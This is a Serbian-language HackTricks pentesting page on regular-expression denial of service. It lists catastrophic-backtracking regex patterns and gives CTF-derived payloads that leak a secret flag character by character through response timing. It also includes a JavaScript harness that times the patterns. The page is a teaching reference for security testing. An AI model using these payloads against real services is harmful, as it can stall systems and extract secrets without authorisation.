hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md
2024-02-10 13:11:20 +00:00

105 lines
6.3 KiB
Markdown

# Regular Expression Denial of Service - ReDoS
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
# Regular Expression Denial of Service (ReDoS)
**Regular Expression Denial of Service (ReDoS)** se dešava kada neko iskoristi slabosti u načinu rada regularnih izraza (način pretrage i uparivanja obrazaca u tekstu). Ponekad, kada se koriste regularni izrazi, mogu postati veoma spori, posebno ako se komad teksta sa kojim rade povećava. Ova sporost može postati toliko loša da se brzo povećava čak i sa malim povećanjem veličine teksta. Napadači mogu iskoristiti ovaj problem da bi napravili program koji koristi regularne izraze da prestane pravilno raditi na duže vreme.
## Problematski Regex Naivni Algoritam
**Pogledajte detalje na [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Zli Regex-i <a href="#evil-regexes" id="evil-regexes"></a>
Zli obrazac regularnog izraza je onaj koji može **zaglaviti na pravljenom unosu i izazvati DoS**. Zli regex obrasci obično sadrže grupisanje sa ponavljanjem i ponavljanje ili alternaciju sa preklapanjem unutar ponovljene grupe. Neki primeri zlih obrazaca uključuju:
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} za x > 10
Svi ovi su ranjivi na unos `aaaaaaaaaaaaaaaaaaaaaaaa!`.
## ReDoS Payloadi
### Izvlačenje Stringa putem ReDoS-a
U CTF-u (ili bug bounty) možda **kontrolišete Regex sa kojim se uparuje osetljiva informacija (flag)**. Tada, može biti korisno da **stranica zamrzne (timeout ili duže vreme obrade)** ako se **Regex upari** i **ne ako se ne upari**. Na ovaj način ćete moći **izvlačiti** string **po karakter po karakter**:
* U [**ovom postu**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) možete pronaći ovaj ReDoS pravilo: `^(?=<flag>)((.*)*)*salt$`
* Primer: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* U [**ovom writeup-u**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) možete pronaći ovaj: `<flag>(((((((.*)*)*)*)*)*)*)!`
* U [**ovom writeup-u**](https://ctftime.org/writeup/25869) je korišćeno: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Kontrolisanje Unosa i Regex-a
Sledeći su primeri **ReDoS-a** gde **kontrolišete** i **unos** i **regex**:
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Alati
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
## Reference
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>